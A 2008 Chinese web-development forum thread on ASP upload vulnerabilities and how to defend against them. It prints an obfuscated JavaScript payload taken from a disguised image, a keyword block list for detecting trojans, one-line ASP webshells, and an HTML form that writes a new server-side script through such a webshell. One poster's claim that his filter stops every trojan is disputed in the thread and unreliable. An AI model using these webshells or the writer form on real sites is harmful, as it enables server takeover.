浅析ASP上传漏洞

这两天连续两个大维护的大的网站被黑,都是由上传漏洞所引起的。
所以特来发贴讨论 ASP上传漏洞。

对于上传漏洞的查找,仍是从源文件入手,目标有两个,一个是FilePath(文件路径),另一个则是FileName(文件名称)。
我看了有关的资料,主要也就是通过以下要过滤的字符下手。

VBScript code
Private Function FixName(Byval UpFileExt) '第一步的过滤函数,过滤特殊扩展名。
If IsEmpty(UpFileExt) Then Exit Function '如扩展名为空就退出交互
FixName = Lcase(UpFileExt) '将扩展名转换为小写字符。
FixName = Replace(FixName,Chr(0),"") '将二进制的00空字符过滤为空
FixName = Replace(FixName,".","") '将单引号过滤为空,下同。 jmdcw
FixName = Replace(FixName,"'","")
FixName = Replace(FixName,"asp","")
FixName = Replace(FixName,"asa","")
FixName = Replace(FixName,"aspx","")
FixName = Replace(FixName,"cer","")
FixName = Replace(FixName,"cdx","")
FixName = Replace(FixName,"htr","")
FixName = Replace(FixName,"shtml","")
End Function




第一关就是过滤上面的字符,
第二关

VBScript code
if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then ' 第二关,验证fileEXT是否为asp、asa、aspx扩展名。
EnableUpload=false '果属于这三项之一,那么EnableUpload就定义为假,上传文件扩展名不合法。end if



第三关

VBScript code
if EnableUpload=false then '第三关,验证关。如果传递到此的EnableUpload变量为假,则说明上传文件扩展名不合法。
msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType
FoundErr=true '注意:因为文件名不合法,就更改了FoundErr值,由初始的false改为true。
end if



第四关

VBScript code
if FoundErr<>true then '第四关,上传关。如果FoundErr不等于true才可以上传。




上面的方法可以说是很严密了,但是我在我的网站里看了后缀为jpg的文件,就是上传上出的,改变后缀一看代码如下:

HTML code
html><head><Meta Name=Encoder Content=HTMLSHIP>

<script language="javascript"><!--

bC45="\]Ia2aca\,",lZ72="\]\(x\(fIaL";.3102207,qZ42=".2914261",lZ72='\:s69\\J\@Q\ 7S\+3Rf\{k\?\'\%XW\$PrYh\=q\}\<IKUpZDH\!

cldijy\~GFe\^Vt2AgO\_\>zN40\#1M\|E\(\&8T\-\`L\*a\)x\.ou5\;\rBC\"w\]mbvn\[\,\/\n',bC45='oBxTqn\n\|w\_kR\}\@i0ZLduH\;AftN\?

S\'mEQ8O\[p\$6\>G5\!\:\{\"\=aV\]r\+zs4jy\/\rv\<Y\^\&\`\ Fgh1IWC\(\%3\)2K7clP\-\,DU\~\\J\.eMX\#b9\*';function wX27(oL88){"\]

IaIDcf\,",l=oL88.length;'\@cW\@W\ \^Th\(\&4',w='';while(l--)"\]D\,\(I2LD",o=bC45.indexOf(oL88.charAt(l)),'c\@4\&qq\-W',w=

(o==-1?oL88.charAt(l):lZ72.charAt(o))+w;"\]Lca2aL2",bC45=bC45.substring(1)+bC45.charAt(0),document.write

(w);'c\^\@WqWkq'};wX27("EBGt\:\[zw5\)Xjl\)j\]S\{\)M\)BGt\:\[z\rj\@I\_STIxT\-ilXGz\:cXw\/\!\\Bh20\\\:X\!c\\7Bz\)zlBwSw\~w\~\-

B\]zW\:\.\]clzh\~\/\!\\Bh2\~b\`\^\^2\-m\-\/\!\\Bh2\-c\$\_\^S\`IxT\-\-\/5\:G\]XB\]\!\/zc\/S\~\?l\"li\]Xj\~\-E9BGt\:\[z\r")//-

-></script><scripT laNGuAge=jaVascriPt>wX27("Q\{0N2er\_xN5\'SsspB\*\*4\ \&c\-\@c4\&\@c44\&\*\-\ \!2cSse\_J\{\:sS\'\

\&\&\_Sr\{ySs\'\&vQ\*\{0N2erv")</script></head><body></body></html>




那我就在想jpg格式是允许上传的,那这样防来防去不是白忙一场,本人想知道怎么样避免这种问题,还有就是大家来讨论一下asp的上传漏洞

,大家互相提高


问题点数:200 回复次数:140 显示所有回复显示星级回复显示楼主回复





gingerkang
gingerkang
等级:
可用分等级:富农
总技术分:9709
总技术分排名:2158

发表于:2008-09-26 10:02:581楼 得分:100
1你过滤没意义 扩展名aaspsp,过滤之后还是asp,
2扩展名为asp+空格或者文件不允许的字符,是可以通过的,但生成的还是asp
3这个判断应该没有问题
4同上

扩展名没必要过滤,需要判断是否在允许的扩展名列表中就可以了.






chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 10:05:422楼 得分:100
呵呵,不能说是ASP上传的漏洞,是所有语言如果不做处理,那么你任何语言都可以上传这样的

jpg这种服务器,在一些2003服务器上,如果含有代码的,他会运行成网页来运行的,还有一种就是你程序里有数据库恢复功能,而这个功能过

滤不严谨,也会被利用,把图片木马恢复成可运行的网页文件



VBScript codeset MyFile = server.CreateObject("Scripting.FileSystemObject")
set MyText = MyFile.OpenTextFile(Server.mappath(filename)) '读取文本文件
sTextAll = lcase(MyText.ReadAll())
MyText.close
set MyFile = nothing
sStr=".getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|"
sStr=sStr&".saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language="
snum = split(sStr,"|")
for i=0 to ubound(snum)
if instr(sTextAll,snum(i)) then
set filedel = server.CreateObject("Scripting.FileSystemObject")
filedel.deletefile Server.mappath(filename)
set filedel = nothing
Response.Write("<script>alert('上传失败!你想传木马文件呀,我BS你');window.close();</script>")
Response.End()
end if
next



ASP的你用这一段放在你上传的代码里,我保证你含有非法的图片木马都上传不了,

sStr=".getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|"
这里,你可以任意加你自己要过滤的东西






yeah920
关注局域网不能上网的解决办法.
等级:
可用分等级:富农
总技术分:25904
总技术分排名:457
2
发表于:2008-09-26 10:08:133楼 得分:0
又学到一招了.顶






chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 10:09:134楼 得分:0
你可以随便用一个图片木马,然后加上我这代码,看看他还能上传不,你加上这段代码以后,就算不限制后缀都没关系,他上传不了木马






yanniu008
牛牛
等级:
可用分等级:富农
总技术分:6918
总技术分排名:3177

发表于:2008-09-26 10:10:505楼 得分:0
引用 1 楼 gingerkang 的回复:
1你过滤没意义 扩展名aaspsp,过滤之后还是asp,
2扩展名为asp+空格或者文件不允许的字符,是可以通过的,但生成的还是asp
3这个判断应该没有问题
4同上

扩展名没必要过滤,需要判断是否在允许的扩展名列表中就可以了.

1.aaspsp 当过滤了asp之后的确是asp,但是我还有第二关还是通不过的
2.加空格的话 第一关有过滤 过滤之后成asp ,但是第二关也通不过






sy_binbin
binbin
等级:
可用分等级:富农
总技术分:68163
总技术分排名:113
5
3
发表于:2008-09-26 10:11:276楼 得分:0
http://a138s.blog.163.com/blog/static/31474077200710142279126/

这里的代码涉及到chinmo所说的东西了

LZ好好看看吧






chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 10:12:527楼 得分:0
引用 5 楼 yanniu008 的回复:
引用 1 楼 gingerkang 的回复:
1你过滤没意义 扩展名aaspsp,过滤之后还是asp,
2扩展名为asp+空格或者文件不允许的字符,是可以通过的,但生成的还是asp
3这个判断应该没有问题
4同上

扩展名没必要过滤,需要判断是否在允许的扩展名列表中就可以了.

1.aaspsp 当过滤了asp之后的确是asp,但是我还有第二关还是通不过的
2.加空格的话 第一关有过滤 过滤之后成asp ,但是第二关也通不过


呵呵,这些过滤都没有用的,一般只是在一些服务器比较好的还可以
如果服务器是2003,而且JPG能解析成网页形式,你这样的过滤再严谨也没有用







yanniu008
牛牛
等级:
可用分等级:富农
总技术分:6918
总技术分排名:3177

发表于:2008-09-26 10:13:068楼 得分:0
引用 4 楼 chinmo 的回复:
你可以随便用一个图片木马,然后加上我这代码,看看他还能上传不,你加上这段代码以后,就算不限制后缀都没关系,他上传不了木马

昨天我也在想这个问题,就是通过你说的方法来检查每个上传文件内的字符,这样不管你怎么突破但是到了这一关,还是跑不掉。






chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 10:13:479楼 得分:0
哈哈,我以前就是玩黑的,所以知道这些东东一点点!






jhwcd
机器猫
等级:
可用分等级:小地主
总技术分:15120
总技术分排名:1087
发表于:2008-09-26 10:18:1810楼 得分:0
引用 2 楼 chinmo 的回复:
呵呵,不能说是ASP上传的漏洞,是所有语言如果不做处理,那么你任何语言都可以上传这样的

jpg这种服务器,在一些2003服务器上,如果含有代码的,他会运行成网页来运行的,还有一种就是你程序里有数据库恢复功能,而这个功能过

滤不严谨,也会被利用,把图片木马恢复成可运行的网页文件


VBScript codeset MyFile = server.CreateObject("Scripting.FileSystemObject")
set MyText = MyFile.OpenTextFile(Server.mappa…

嘿嘿:)chinmo所说的方法不错啊。






chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 10:18:3611楼 得分:0
引用 6 楼 sy_binbin 的回复:
http://a138s.blog.163.com/blog/static/31474077200710142279126/

这里的代码涉及到chinmo所说的东西了

LZ好好看看吧


倒!这东西网上也有了?还真没注意,我在大二那会玩黑,黑别人的网站发现的这一点,就自己研究写了这段代码

那时候应该是2003年,网上就没有这样的信息。






sandyxxx
一天到晚游泳的鱼
等级:
可用分等级:掌柜
总技术分:3952
总技术分排名:5620

发表于:2008-09-26 10:18:4312楼 得分:0
真是有学到了一招。

用v.net写的上传文件可以检测文件类型,比如asp的把后缀名改为jpg了,其实它可能是木马程序,这样就能限制

不知道这个准不准,再说 上传为非限制大小,文件类型,检测文件真实类型,asp.net 还是比较容易做到的

而且用它自己提供的空间写比起用asp来简单不少

希望楼主没事看看.net的文件上传

你去csdn上搜索清清月儿,她博客上有不少例子。






yanniu008
牛牛
等级:
可用分等级:富农
总技术分:6918
总技术分排名:3177

发表于:2008-09-26 10:19:1913楼 得分:0
我刚才问了一下机房 服务器是2000的 而且上传的是 GIF 格式的文件






sy_binbin
binbin
等级:
可用分等级:富农
总技术分:68163
总技术分排名:113
5
3
发表于:2008-09-26 10:21:3214楼 得分:0
引用 11 楼 chinmo 的回复:
引用 6 楼 sy_binbin 的回复:
http://a138s.blog.163.com/blog/static/31474077200710142279126/

这里的代码涉及到chinmo所说的东西了

LZ好好看看吧


倒!这东西网上也有了?还真没注意,我在大二那会玩黑,黑别人的网站发现的这一点,就自己研究写了这段代码

那时候应该是2003年,网上就没有这样的信息。



都5年了,呵呵!!






gingerkang
gingerkang
等级:
可用分等级:富农
总技术分:9709
总技术分排名:2158

发表于:2008-09-26 10:22:1615楼 得分:0
引用 5 楼 yanniu008 的回复:
引用 1 楼 gingerkang 的回复:
1你过滤没意义 扩展名aaspsp,过滤之后还是asp,
2扩展名为asp+空格或者文件不允许的字符,是可以通过的,但生成的还是asp
3这个判断应该没有问题
4同上

扩展名没必要过滤,需要判断是否在允许的扩展名列表中就可以了.

1.aaspsp 当过滤了asp之后的确是asp,但是我还有第二关还是通不过的
2.加空格的话 第一关有过滤 过滤之后成asp ,但是第二关也通不过

扩展名为aaspsp+空格,你看过了没?

2003除了在asp目录下,上传jpg含有脚本也是客户端脚本,对服务器安全应该不能造成威胁,建立一个虚拟目录跟上传目录同名,设置可读不可

运行,即使他上传了asp文件,在服务端也无法运行,相对还算安全的.


kuyoeku

等级:
可用分等级:长工
总技术分:2
总技术分排名:310756

发表于:2008-09-26 10:25:1816楼 得分:0
其实还有一个办法..判断Content-Type..或者是判断图像宽和高大小..当然此方法只限于上传图像文件.
下面是一个我自己改的一个上传文件.


VBScript code
<%
dim arr(3)
dim upload,file,formName,formPath,iCount,filename,fileExt,i,Farr
set upload=new UpFile_Class ''建立上传对象
upload.GetData(10240000)
if upload.err>0 then
select case upload.err
case 1
response.write("请您先选取择要上传的文件 [<a href='history.go(-1)'>重新上传</a>]")
case 2
response.write("您上传的文件超出我们的限制,最大10M [<a href='history.go(-1)'>重新上传</a>]")
end select
else
formPath="../uppic/" '图片存放的路径:product目录下的uploadimages文件夹 ''在目录后加(/)

''列出所有上传了的文件
for each formName in upload.file
set file=upload.file(formName)
FileExt=Lcase(file.FileExt)
if CheckFileExt(FileExt)=False then
response.write "<font size=2>文件格式限制[<a href=# onclick=history.go(-1)>请重新上传</a>]</font>"
response.end
end if
if not CheckFileContentType(file.FileType) then
response.write "格式不正确 <a href=javascript:history.go(-1)>返回</a>"
response.end
end if
filename=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&"."&FileExt

if file.FileSize>0 then ''如果 FileSize > 0 说明有文件数据
file.savetoFile Server.mappath(formpath&filename) ''保存文件
filepathname=Server.mappath(formpath&filename)
set GPS = new GPSimg //这是一个图像处理对象
Farr=GPS.getImageSize(filepathname)//取出图像宽和高的及各项图像参数
if Farr(1)>600 or Farr(2)>800 then //限制判断图像宽高
set fso = createobject("scripting.filesystemobject")
fso.deletefile(filepathname)//删除该文件.
set fso = nothing
response.write "<font size=2>图片宽不能超过600或高不能超过800[<a href=# onclick=history.go(-1)>请重新上传</a>]

</font>"
response.end
else
'response.write file.FilePath&file.FileName&"("&file.FileSize&") => "&formPath&File.FileName&"上传成功<br>"
response.write "<font size=2>上传成功 <a href=# onclick=history.go(-1)>请返回</a>"
end if

end if
set file=nothing
next
set upload=nothing
Response.Write "<script>parent.addNEWS.pic_Url.value='"&FileName&"'</script>"
%>
<%
end if
end if
Private Function CheckFileExt(FileExt)
dim FileType
FileType="jpg|gif|png"
FileType=split(FileType,"|")
for i=0 to Ubound(FileType)
if lcase(FileExt)=Lcase(trim(Filetype(i))) then
CheckFileExt=true
exit Function
else
CheckFileExt=False
end if
next
end function

'文件Content-Type判断
Private Function CheckFileContentType(FileType)
CheckFileContentType = False
If Left(Cstr(Lcase(Trim(FileType))),6)="image/" Then CheckFileContentType = True
End Function




上面这个我是用了一个Content-Type判断,还有图像宽高的判断..


chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 10:25:5317楼 得分:0
引用 13 楼 yanniu008 的回复:
我刚才问了一下机房 服务器是2000的 而且上传的是 GIF 格式的文件

技术在进步,黑客的技术也在进步,现在我虽然已经不玩黑了

但是我知道现在可以改造GIF格式文件成木马的,据说也可以运行


yanniu008
牛牛
等级:
可用分等级:富农
总技术分:6918
总技术分排名:3177

发表于:2008-09-26 10:26:3318楼 得分:0
按照chimo的说法,如果加了对特有字符的控制应该是上传不了任何木马文件了。

chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 10:30:2019楼 得分:0
引用 18 楼 yanniu008 的回复:
按照chimo的说法,如果加了对特有字符的控制应该是上传不了任何木马文件了。

是的

就算你不限制后缀也没关系



yanniu008
牛牛
等级:
可用分等级:富农
总技术分:6918
总技术分排名:3177

发表于:2008-09-26 10:32:2820楼 得分:0
那我想问问 除了上传的漏洞外 还有什么方法能够上传文件到服务器上


luxu001207
? 09年的目标是找一老婆
等级:
可用分等级:掌柜
总技术分:25879
总技术分排名:459

发表于:2008-09-26 10:34:0921楼 得分:0
文件的格式,我一般是通过判断文件头来识别文件类型的,据说这种做法其实也有缺陷
但是相对于通过后缀来判断的方法要好一些吧



chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 10:35:1022楼 得分:0
引用 15 楼 gingerkang 的回复:
2003除了在asp目录下,上传jpg含有脚本也是客户端脚本,对服务器安全应该不能造成威胁,建立一个虚拟目录跟上传目录同名,设置可读不可

运行,即使他上传了asp文件,在服务端也无法运行,相对还算安全的.


呵呵,你肯定没有研究过黑,jpg可以含有服务器端代码的,除非服务器是自己的,把图片所在文件夹设置成不可运行代码的

如果是虚拟主机,服务器是别人的,一般不会做这种限制,但他服务器又不严谨,那JPG可就可以运行了,而且还可以是服务器段的代码

一句话木马就可以这么利用

chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 10:36:4323楼 得分:0
引用 20 楼 yanniu008 的回复:
那我想问问 除了上传的漏洞外 还有什么方法能够上传文件到服务器上

一句话木马

比如你有可以修改模板的功能,而你的模板是asp后缀或者inc后缀的,那么他可以利用这个上传


gingerkang
gingerkang
等级:
可用分等级:富农
总技术分:9709
总技术分排名:2158

发表于:2008-09-26 10:39:1025楼 得分:0
楼主举的例子,jpg中含有的是客户端脚本,跟网页木马类似,用跨站引用的方式可以达到同样的效果,用chinmo的方法也是很难避免的.


chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 10:44:5526楼 得分:0
HTML code<form action=http://www.xxxx.com/shownews.asp method=post>
<textarea name="p" cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("qingshan")
lP.SaveToFile server.mappath("wei.asp"),2
lP.Close
set lP=nothing
response.redirect "wei.asp"
</textarea>
<textarea name="qingshan" cols=120 rows=10 width=45>这里放非法的服务器段代码</textarea><BR><center><br>

<input type=submit value=提交>
</form>


其中shownews.asp 这个是含有一句话木马代码的,你把这个文件保存为index.htm在本地,就可以向http://www.xxxx.com这个网站写入

wei.asp这个文件,并且是含有你设置的非法代码


yanniu008
牛牛
等级:
可用分等级:富农
总技术分:6918
总技术分排名:3177

发表于:2008-09-26 10:44:5627楼 得分:0
这两个被黑的网站都是独立的服务器

chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 10:45:1428楼 得分:0
HTML code<form action=http://www.xxxx.com/shownews.asp method=post>
<textarea name="p" cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("qingshan")
lP.SaveToFile server.mappath("wei.asp"),2
lP.Close
set lP=nothing
response.redirect "wei.asp"
</textarea>
<textarea name="qingshan" cols=120 rows=10 width=45>这里放非法的服务器段代码</textarea><BR><center><br>

<input type=submit value=提交>
</form>


其中shownews.asp 这个是含有一句话木马代码的,你把这个文件保存为index.htm在本地,就可以向http://www.xxxx.com这个网站写入

wei.asp这个文件,并且是含有你设置的非法代码


chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 10:46:5929楼 得分:0
引用 25 楼 gingerkang 的回复:
楼主举的例子,jpg中含有的是客户端脚本,跟网页木马类似,用跨站引用的方式可以达到同样的效果,用chinmo的方法也是很难避免的.


现在说的是本站的安全,从别的网站入侵进来的这个不是自己能控制的

chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 10:51:2830楼 得分:0
<%execute request("qingshan")%>
你把这个随便放到你的一个ASP文件里,然后用我给你的方法,看看是不是如我说的生成了一个文件


chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 10:53:2031楼 得分:0
<scriptlanguage=VBScript runat=server>execute request("qingshan") </Script>
当然还可以这么写一句话木马


yanniu008
牛牛
等级:
可用分等级:富农
总技术分:6918
总技术分排名:3177

发表于:2008-09-26 10:56:5032楼 得分:0
引用 25 楼 gingerkang 的回复:
楼主举的例子,jpg中含有的是客户端脚本,跟网页木马类似,用跨站引用的方式可以达到同样的效果,用chinmo的方法也是很难避免的.

那么该怎么避免呢

chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 10:59:4033楼 得分:0
引用 31 楼 yanniu008 的回复:
引用 25 楼 gingerkang 的回复:
楼主举的例子,jpg中含有的是客户端脚本,跟网页木马类似,用跨站引用的方式可以达到同样的效果,用chinmo的方法也是很难避免的.

那么该怎么避免呢

他说的是跨站的,跨站的不是你能控制的

服务器如果是只有你自己一个站点,那这个问题可以不用考虑了,而且你考虑也没用

他想跨站上传的跨那是不可能的,除非是用一句话木马


chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 11:04:4134楼 得分:0
而一句话木马是他必须得在你的文件里能插入这样的话才可以
但是你设置好了,他就插不入了,这些问题也就不存在了

gingerkang
gingerkang
等级:
可用分等级:富农
总技术分:9709
总技术分排名:2158

发表于:2008-09-26 11:05:0735楼 得分:0
引用 22 楼 chinmo 的回复:
引用 15 楼 gingerkang 的回复:
2003除了在asp目录下,上传jpg含有脚本也是客户端脚本,对服务器安全应该不能造成威胁,建立一个虚拟目录跟上传目录同名,设置可读不可

运行,即使他上传了asp文件,在服务端也无法运行,相对还算安全的.

呵呵,你肯定没有研究过黑,jpg可以含有服务器端代码的,除非服务器是自己的,把图片所在文件夹设置成不可运行代码的
如果是虚拟主机,服务器是别人的,一般不会做这种限制,但他…


愿闻其详,不要想当然.

yanniu008
牛牛
等级:
可用分等级:富农
总技术分:6918
总技术分排名:3177

发表于:2008-09-26 11:16:5337楼 得分:0
那么上面chinmo说的通过inc 是什么样的一个原理 怎么样避免呢


chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 11:22:2838楼 得分:0
引用 34 楼 gingerkang 的回复:
引用 22 楼 chinmo 的回复:
引用 15 楼 gingerkang 的回复:
2003除了在asp目录下,上传jpg含有脚本也是客户端脚本,对服务器安全应该不能造成威胁,建立一个虚拟目录跟上传目录同名,设置可读不可

运行,即使他上传了asp文件,在服务端也无法运行,相对还算安全的.

呵呵,你肯定没有研究过黑,jpg可以含有服务器端代码的,除非服务器是自己的,把图片所在文件夹设置成不可运行代码的
如果是虚拟主机,服务器是别人的,一般…


不是想当然,你可以拿你自己的电脑装个2003系统来测试就知道了

你看虚拟主机至少有做这个文件夹独立限制的,除非是你自己能控制的服务器

我以前就这么玩过,并不是想当然的

chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 11:25:2839楼 得分:0
引用 36 楼 yanniu008 的回复:
那么上面chinmo说的通过inc 是什么样的一个原理 怎么样避免呢

呵呵,inc这种后缀的,他可以被你的文件包含啊,而且可以是服务端的代码啊
这个都是一句话木马里的事了

与你上传没关系,这个你只要不让能在这些文件里写进这样的代码就OK了


chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 11:28:4540楼 得分:0
其实你想防黑,就得去了解入侵的路径,才可以防!如果你不了解你如何去防?

当然现在服务器越来越安全了,不过黑客手段也越来越高,一些入侵不是你我可以控制的,只能是从自身的网站做安全,其他的你控制不了的

以后会不会出现新的入侵网站方法也难说(从网站自身,不是跨站,或者跨服务器的方法)

gingerkang
gingerkang
等级:
可用分等级:富农
总技术分:9709
总技术分排名:2158

发表于:2008-09-26 11:30:4041楼 得分:0
引用 37 楼 chinmo 的回复:
引用 34 楼 gingerkang 的回复:
引用 22 楼 chinmo 的回复:
引用 15 楼 gingerkang 的回复:
2003除了在asp目录下,上传jpg含有脚本也是客户端脚本,对服务器安全应该不能造成威胁,建立一个虚拟目录跟上传目录同名,设置可读不可

运行,即使他上传了asp文件,在服务端也无法运行,相对还算安全的.

呵呵,你肯定没有研究过黑,jpg可以含有服务器端代码的,除非服务器是自己的,把图片所在文件夹设置成不可运行代码的
如果…


我一直是用的2003,怎么测试?jpg含有服务端代码,怎么保证他能在服务端执行?
ps:刚才重新测试了下asp文件夹的漏洞,ms不知道什么时候偷偷把洞补上了,这个问题好像不存在了

luxu001207
? 09年的目标是找一老婆
等级:
可用分等级:掌柜
总技术分:25879
总技术分排名:459

发表于:2008-09-26 11:35:0542楼 得分:0
引用 29 楼 chinmo 的回复:
<%execute request("qingshan")%>
你把这个随便放到你的一个ASP文件里,然后用我给你的方法,看看是不是如我说的生成了一个文件

前段时间给别人清理过这么个木马,别人一共上传了三个这样的文件,然后第一次我只找到2个,木马清除之后第二天又被黑了

后来发狠一个目录一个目录去查看,才彻底解决问题。那个网站最早被挂上木马的时间是2005年5月份,也就是那个站被挂木马长达3年之久啊


我狂汗...

一句话木马别人一般都是命名为help.asp之类的文件名

chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 11:37:1343楼 得分:0
这个漏洞被发现不久就已经有补丁了

你自己想一下吧,不用我多说

如果不能运行服务器断代码,我如何能利用这个文件来上传更好的木马上去???

而且我也没给浏览器降低什么安全要求,来用客户端执行

chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 11:42:1844楼 得分:0
引用 41 楼 luxu001207 的回复:
引用 29 楼 chinmo 的回复:
<%execute request("qingshan")%>
你把这个随便放到你的一个ASP文件里,然后用我给你的方法,看看是不是如我说的生成了一个文件

前段时间给别人清理过这么个木马,别人一共上传了三个这样的文件,然后第一次我只找到2个,木马清除之后第二天又被黑了

后来发狠一个目录一个目录去查看,才彻底解决问题。那个网站最早被挂上木马的时间是2005年5月份,也就是那个站被挂木马长达3年之久啊





一句话木马是插在你的文件里,不需要上传,只要你的文件能允许他操作写进


littlelam
www.meici.net
等级:
可用分等级:富农
总技术分:21595
总技术分排名:607
发表于:2008-09-26 11:48:3345楼 得分:0
关键在
Save "xxx"
Server.MapPath("yyy")
xxx、yyy不要信任何客户端信息
取物理路径用Server.MapPath(".")
再自己拼接路径
后缀从列表中取

gingerkang
gingerkang
等级:
可用分等级:富农
总技术分:9709
总技术分排名:2158

发表于:2008-09-26 11:49:1146楼 得分:0
引用 42 楼 chinmo 的回复:
这个漏洞被发现不久就已经有补丁了

你自己想一下吧,不用我多说

如果不能运行服务器断代码,我如何能利用这个文件来上传更好的木马上去???

而且我也没给浏览器降低什么安全要求,来用客户端执行


不知道你回答谁的,据我所知2003下asp,php,cgi的文件夹漏洞,ms再相当长的时间里是没有做补丁处理的
jpg含有服务端代码,怎么保证他能在服务端执行?这个你说可以执行,我还是没有想明白


chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 11:58:5747楼 得分:0
你用一个JPG木马生成器,自己测试去吧,或者你自己改装也行

gingerkang
gingerkang
等级:
可用分等级:富农
总技术分:9709
总技术分排名:2158

发表于:2008-09-26 16:23:4352楼 得分:0
引用 46 楼 chinmo 的回复:
你用一个JPG木马生成器,自己测试去吧,或者你自己改装也行


答非所问,你再怎么改,jpg还是jpg,服务器在jpg改造之后会用asp.dll去解析运行?


chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 16:25:4153楼 得分:0
引用 51 楼 gingerkang 的回复:
引用 46 楼 chinmo 的回复:
你用一个JPG木马生成器,自己测试去吧,或者你自己改装也行


答非所问,你再怎么改,jpg还是jpg,服务器在jpg改造之后会用asp.dll去解析运行?


哎,你不试就说我答非所问

算了,不想说了

你去了解下当初JPG漏洞是怎么回事吧


chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 16:30:2354楼 得分:0
http://www.gingili.cn/article/2007/0702/article_771.html
给一篇早期人家分析的吧,我也不不必要这么和你争什么了,让你试你又懒得试,又说我想当然!



luxu001207
? 09年的目标是找一老婆
等级:
可用分等级:掌柜
总技术分:25879
总技术分排名:459

发表于:2008-09-26 16:33:3355楼 得分:0
引用 51 楼 gingerkang 的回复:
引用 46 楼 chinmo 的回复:
你用一个JPG木马生成器,自己测试去吧,或者你自己改装也行


答非所问,你再怎么改,jpg还是jpg,服务器在jpg改造之后会用asp.dll去解析运行?

这个漏洞是存在的,至少曾经存在过,jpg当asp来解析运行

iscandy
梵高
等级:
可用分等级:中农
总技术分:2058
总技术分排名:11009

发表于:2008-09-26 16:33:5856楼 得分:0
1、文件名由代码自动产生
2、上传目录的脚本权限设置为“无”


这是最根本的处理方式


gingerkang
gingerkang
等级:
可用分等级:富农
总技术分:9709
总技术分排名:2158

发表于:2008-09-26 16:37:1657楼 得分:0
引用 52 楼 chinmo 的回复:
引用 51 楼 gingerkang 的回复:
引用 46 楼 chinmo 的回复:
你用一个JPG木马生成器,自己测试去吧,或者你自己改装也行


答非所问,你再怎么改,jpg还是jpg,服务器在jpg改造之后会用asp.dll去解析运行?


哎,你不试就说我答非所问

算了,不想说了

你去了解下当初JPG漏洞是怎么回事吧

希望不要抱着个漏洞名字在这里混淆视听
网上搜索jpg漏洞是系统解析漏洞,跟这个话题和威胁服务器安全的没有关系.


gingerkang
gingerkang
等级:
可用分等级:富农
总技术分:9709
总技术分排名:2158

发表于:2008-09-26 16:39:0058楼 得分:0
引用 54 楼 luxu001207 的回复:
引用 51 楼 gingerkang 的回复:
引用 46 楼 chinmo 的回复:
你用一个JPG木马生成器,自己测试去吧,或者你自己改装也行


答非所问,你再怎么改,jpg还是jpg,服务器在jpg改造之后会用asp.dll去解析运行?

这个漏洞是存在的,至少曾经存在过,jpg当asp来解析运行

那是2003曾经存在的asp,cgi的文件夹漏洞



chinmo
藏*无限
等级:
可用分等级:掌柜
总技术分:115698
总技术分排名:44
3
9
发表于:2008-09-26 16:40:1959楼 得分:0
引用 54 楼 luxu001207 的回复:
引用 51 楼 gingerkang 的回复:
引用 46 楼 chinmo 的回复:
你用一个JPG木马生成器,自己测试去吧,或者你自己改装也行


答非所问,你再怎么改,jpg还是jpg,服务器在jpg改造之后会用asp.dll去解析运行?

这个漏洞是存在的,至少曾经存在过,jpg当asp来解析运行


jpg含有服务端代码,怎么保证他能在服务端执行?这个你说可以执行,我还是没有想明白


你说这个

我就是让你看那篇文章,服务器端代码是怎么执行的,为什么能执行!!


gingerkang
gingerkang
等级:
可用分等级:富农
总技术分:9709
总技术分排名:2158

